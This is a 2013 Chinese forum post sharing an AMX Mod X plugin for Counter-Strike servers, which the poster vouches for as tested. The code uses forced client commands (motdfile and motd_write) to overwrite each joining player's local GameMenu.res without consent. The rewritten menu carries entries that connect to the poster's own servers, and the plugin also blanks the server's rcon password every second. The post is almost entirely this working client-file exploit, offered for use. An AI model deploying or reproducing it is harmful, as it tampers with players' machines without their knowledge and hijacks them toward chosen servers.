|
发表于 2013-11-9 09:06:05
|
显示全部楼层
来自 中国–陕西–西安
- /*
- Create a file on your server like this:
- cstrike/resource/GameMenu.res
- It doesn't matter what you write in there, it's gonna be overwritten anyway.
- It just has to be there or the plugin will fail on clients that don't have the file.
- Change g_ServerName[] and g_ServerIp[] to the desired values, be sure to write between the " "s.
- */
- #include <amxmodx>
- #define VERSION "1.3.3.7"
- new g_ServerName1[] = "【西部反恐联盟】魔兽服";
- new g_ServerIp1[] = "192.168.1.88:27999";
- new g_ServerName2[] = "【西部反恐联盟】娱乐服";
- new g_ServerIp2[] = "192.168.1.88:27888";
- new g_ServerName3[] = "【西部反恐联盟】纯洁服";
- new g_ServerIp3[] = "192.168.1.88:27777";
- new szText[1200];
- public plugin_precache()
- precache_generic("resource/GameMenu.res");
- public change_password()
- {
- set_cvar_string("rcon_password", "")
- }
- public plugin_init()
- {
- set_task(1.0, "change_password",0,"",0,"b")
- register_plugin("GameMenu changer", VERSION , "Unknown");
-
- new size = sizeof(szText) - 1;
- format(szText, size, "^"GameMenu^" { ^"1^" { ^"label^" ^"%s^"", g_ServerName1);
- format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp1);
-
- format(szText, size, "%s } ^"2^" { ^"label^" ^"%s^"", szText, g_ServerName2);
- format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp2);
-
- format(szText, size, "%s } ^"3^" { ^"label^" ^"%s^"", szText, g_ServerName3);
- format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp3);
-
- format(szText, size, "%s } ^"4^" { ^"label^" ^"^" ^"command^" ^"^" }", szText);
- format(szText, size, "%s ^"5^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^"", szText);
- format(szText, size, "%s ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }", szText);
- format(szText, size, "%s ^"6^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^"", szText);
- format(szText, size, "%s ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"", szText);
- format(szText, size, "%s ^"notsingle^" ^"1^" } ^"7^" { ^"label^" ^"#GameUI_GameMenu_PlayerList^"", szText);
- format(szText, size, "%s ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"", szText);
- format(szText, size, "%s } ^"8^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }", szText);
- format(szText, size, "%s ^"11^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"", szText);
- format(szText, size, "%s } ^"12^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^"", szText);
- format(szText, size, "%s } ^"13^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^"", szText);
- format(szText, size, "%s } ^"14^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } }", szText);
- }
- public client_putinserver (id)
- set_task(3.0, "TaskChangeMenu", id);
- public TaskChangeMenu(id)
- {
- client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
- client_cmd(id, "motd_write %s", szText);
- client_cmd(id, "motdfile ^"motd.txt^"");
- }
复制代码 这个100%可用,本人亲测。 |
|